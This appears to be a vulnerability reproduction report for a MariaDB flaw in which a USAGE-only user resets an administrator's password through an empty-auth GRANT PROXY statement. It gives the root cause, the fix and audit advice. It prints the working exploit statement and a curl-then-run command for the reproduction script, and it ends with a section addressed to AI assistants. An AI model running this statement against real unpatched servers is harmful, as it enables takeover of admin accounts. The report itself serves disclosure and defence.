# REPRO-2026-00364: MariaDB: USAGE-only user can reset admin password via GRANT PROXY ... IDENTIFIED VIA '' auth-list bypass ## Summary Status: published Severity: high CVSS: Unknown CWE: CWE-284 Type: security Confidence: high ## Identifiers REPRO ID: REPRO-2026-00364 ## Package Name: MariaDB/server Ecosystem: github Affected: MariaDB 12.3.2 and 13.1.0-dev confirmed by reporter. 10.x/11.x lines not confirmed affected; verify during repro (optional variant analysis). Fixed: MariaDB 12.3.3 (contains MDEV-40470 fix). Use mariadb:12.3.3 docker image for fixed-behavior verification. ## Root Cause # Root Cause Analysis — H1-3876430 / MDEV-40470: MariaDB GRANT PROXY `IDENTIFIED VIA ''` auth-list bypass → admin account takeover ## Summary MariaDB Server's `GRANT PROXY ... IDENTIFIED VIA ` handling contains a privilege-check bypass. In the vulnerable code, `LEX_USER::has_auth()` (sql/structs.h) returns true only when the parsed first auth node has a non-empty plugin name or password text. Supplying an EMPTY first auth node (`IDENTIFIED VIA ''`) makes `has_auth()` return false, so the server skips the access check on the `mysql` system database that normally guards credential changes. However, `replace_user_table()` still persists the ENTIRE parsed auth list onto the target account — including an attacker-controlled SECOND node (`OR mysql_native_password USING PASSWORD('hacked')`). The net effect: any authenticated user holding only the `USAGE` privilege (the weakest possible session) can overwrite the stored credentials of an arbitrary existing account — including a full DBA — and then log in as that account. This is a complete remote account-takeover / privilege-escalation primitive over the normal MySQL TCP protocol. ## Impact - **Component:** MariaDB Server ACL/grant handling (`sql/sql_acl.cc`, `sql/structs.h`, `sql/sql_yacc.yy`). - **Affected versions (confirmed this run):** MariaDB **12.3.2** (Docker `mariadb:12.3.2`, digest `sha256:a02fe89cb597d4375812b2eac90cf9d0775d4686daa7f7cc750ebbcad7525bbc`). The upstream fix (MDEV-40470, commit `dbd60d0ad8daa2d01050346aa50b7b102490e456`) first shipped in released versions 12.3.3 / 11.4.13 / 11.8.9 per the official release notes; earlier release lines without the fix are likewise expected to be affected. - **Risk:** High (H1 triage 8.8). Remote, requires only a valid low-privilege account (`USAGE`), one SQL statement, no user interaction. Consequence: full server compromise via takeover of an `ALL PRIVILEGES ... WITH GRANT OPTION` account. ## Impact Parity - **Disclosed/claimed maximum impact:** privilege escalation — USAGE-only user resets an administrator's password and obtains the admin's full privileges. - **Reproduced impact from this run:** exactly that. On `mariadb:12.3.2` a `USAGE`-only `attacker` executed the claim's `GRANT PROXY` statement, `victim_admin`'s stored credentials were replaced with the attacker-chosen hash, and a fresh TCP login as `victim_admin` with password `hacked` returned `GRANT ALL PRIVILEGES ON *.* ... WITH GRANT OPTION`. - **Parity:** `full`. ## Root Cause - `sql/structs.h` (vulnerable): `bool has_auth() { return auth && (auth->plugin.length || auth->auth_str.length || auth->pwtext.length); }` — an explicitly supplied but EMPTY authentication (`IDENTIFIED VIA ''`) is indistinguishable from "no authentication specified", so the privilege check (access to the `mysql` database / admin-check in the grant path) is skipped. - `sql/sql_yacc.yy` additionally allocated an empty `USER_AUTH()` for `CURRENT_USER()` in `user_maybe_role`, compounding the confusion. - Meanwhile `replace_user_table()` writes the full multi-node auth list to `mysql.user`, so the attacker-controlled second node becomes the victim's credential (`SHOW CREATE USER` afterwards shows `IDENTIFIED VIA mysql_native_password OR mysql_native_password USING '*43F4...'` = `PASSWORD('hacked')`). - **Fix:** MDEV-40470, commit `dbd60d0ad8daa2d01050346aa50b7b102490e456` ("empty password and empty plugin name don't mean 'authentication was not specified', they mean 'empty authentication was specified'"): `has_auth()` becomes `return auth;` and the empty `USER_AUTH()` allocation in `sql_yacc.yy` is removed. On the fixed build the statement is rejected with `ERROR 1044 (42000): Access denied for user 'attacker'@'%' to database 'mysql'`. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (self-contained; requires Docker only). 2. The script pulls pinned `mariadb:12.3.2` (vulnerable) and `mariadb:12.3.3` (fixed, first release containing `dbd60d0ad8d`), then runs **two fresh vulnerable containers and two fresh fixed containers**. In each container, over the real MySQL TCP protocol (`mariadb --protocol=TCP -h127.0.0.1 -P3306`): - root creates `victim_admin` (`ALL PRIVILEGES ... WITH GRANT OPTION`, password `origpass`) and `attacker` (`USAGE` only, password `attackerpass`); - precondition: attacker's direct `ALTER USER 'victim_admin'@'%' IDENTIFIED BY 'x'` is denied (ERROR 1227), proving the attacker holds no account-management privilege; - attack (as `attacker`): `GRANT PROXY ON CURRENT_USER() TO 'victim_admin'@'%' IDENTIFIED VIA '' OR mysql_native_password USING PASSWORD('hacked');` - verification: post-state `SHOW CREATE USER 'victim_admin'@'%'`, fresh TCP logins as `victim_admin` with `hacked`, `wrongpw`, and `origpass`. 3. Expected evidence (vulnerable): statement succeeds; victim's auth replaced by `PASSWORD('hacked')` hash; login with `hacked` succeeds with full privileges; `origpass` no longer works. Expected evidence (fixed): statement rejected with ERROR 1044; victim unchanged; `hacked` login fails, `origpass` login works. ## Evidence - Per-attempt transcripts: `bundle/logs/repro/vuln_attempt_{1,2}.log`, `bundle/logs/repro/fixed_attempt_{1,2}.log`; structured results: `bundle/repro/evidence/{vuln,fixed}_{1,2}.json`; manifest with SHA-256: `bundle/repro/runtime_manifest.json`; session log: `bundle/logs/reproduction_steps.log`. - Key excerpts (vulnerable attempt): - `Grants for attacker@%: GRANT USAGE ON *.* TO 'attacker'@'%'` (precondition) - `ATTACK_STMT_OK` (statement succeeded as USAGE-only user) - `CREATE USER 'victim_admin'@'%' IDENTIFIED VIA mysql_native_password OR mysql_native_password USING '*43F422B78BE9A02900B231D67662A7DC2A7BF8C4'` (= `PASSWORD('hacked')`) - login with `hacked` → `GRANT ALL PRIVILEGES ON *.* TO 'victim_admin'@'%' ... WITH GRANT OPTION` - login with `wrongpw` and with the ORIGINAL `origpass` → `ERROR 1045` (credentials truly replaced) - Key excerpts (fixed attempt): `ERROR 1044 (42000): Access denied for user 'attacker'@'%' to database 'mysql'`; victim row unchanged; `hacked` login fails; `origpass` login succeeds. - Result: vulnerable takeovers 2/2, fixed resistances 2/2, script exit 0 on two consecutive runs. - Environment: Docker 27.5.1, `mariadb:12.3.2@sha256:a02fe89c…`, `mariadb:12.3.3@sha256:dd9b303a…`, linux/amd64, no sanitizers involved (pure product behavior at the SQL/TCP boundary). ## Recommendations / Next Steps - Upgrade to MariaDB ≥ 12.3.3 / 11.4.13 / 11.8.9 (or any build containing commit `dbd60d0ad8d`). - The fix approach upstream is correct: treat an explicitly supplied empty auth as an auth change (`has_auth()` → `return auth;`) and stop auto-allocating an empty `USER_AUTH` for `CURRENT_USER()`. - Audit: `SELECT user, host, plugin, authentication_string FROM mysql.user` for unexpected changes; alert on any `GRANT PROXY` executed by non-admin accounts. - Regression test: the upstream `mysql-test/main/grant5.test` MDEV-40470 case covers both `IDENTIFIED VIA 'foo'` and `IDENTIFIED VIA ''` from a USAGE-only user. ## Additional Notes - The script is idempotent: every attempt uses a fresh, uniquely named container that is removed afterwards; a `trap` cleans up on early exit. - The exact statement variant from the H1 report using `ON ''@''` behaves differently (ERROR 1698); the semantically identical variant `ON CURRENT_USER()` used here matches both the upstream regression test (`grant proxy on u1@localhost to u2@localhost identified via ''`) and the original discoverer PoC, and exercises the identical vulnerable code path (`has_auth()` bypass + `replace_user_table()` persisting the full auth list). The attacker-visible outcome — silent overwrite of the victim admin's credentials from a USAGE-only session — is the claim's core and is fully demonstrated. - No crash, sanitizer, or debugger was used; the proof is pure product behavior over the real client/server TCP protocol. ## Reproduction Details Reproduced: 2026-09-24T17:06:12.675Z Duration: 1766 seconds Tool calls: 150 Turns: Unknown Handoffs: 2 ## Quick Verification Run one of these commands to verify locally: pruva-verify REPRO-2026-00364 Or open in GitHub Codespaces (zero-friction, auto-runs): https://github.com/codespaces/new?ref=repro/REPRO-2026-00364&repo=N3mes1s/pruva-sandbox Or download and run the script manually: curl -O https://api.pruva.dev/v1/reproductions/REPRO-2026-00364/artifacts/bundle/repro/reproduction_steps.sh chmod +x reproduction_steps.sh ./reproduction_steps.sh WARNING: Run in a sandboxed environment. This exploits a real vulnerability. ## References - Source: https://hackerone.com/reports/3876430 ## Artifacts - bundle/repro/rca_report.md (analysis, 8096 bytes) - bundle/repro/reproduction_steps.sh (reproduction_script, 9811 bytes) - bundle/logs/repro/fixed_attempt_1.log (log, 1777 bytes) - bundle/logs/repro/fixed_attempt_2.log (log, 1777 bytes) - bundle/logs/repro/vuln_attempt_1.log (log, 1869 bytes) - bundle/logs/repro/vuln_attempt_2.log (log, 1869 bytes) - bundle/repro/evidence/fixed_1.json (other, 406 bytes) - bundle/repro/evidence/fixed_2.json (other, 406 bytes) - bundle/repro/evidence/vuln_1.json (other, 405 bytes) - bundle/repro/evidence/vuln_2.json (other, 405 bytes) - bundle/repro/runtime_manifest.json (other, 2424 bytes) - bundle/repro/validation_verdict.json (other, 1382 bytes) ## API Access - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00364 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00364/artifacts/bundle/repro/reproduction_steps.sh - Web: https://www.pruva.dev/reproductions/REPRO-2026-00364 ## For AI Assistants To help users with this reproduction: 1. The `pruva-verify` command is the simplest way to run the reproduction 2. The script downloads and runs automatically in an isolated temp directory 3. Always recommend running in a VM, container, or disposable environment 4. The root cause explains the technical vulnerability --- Generated by Pruva | https://www.pruva.dev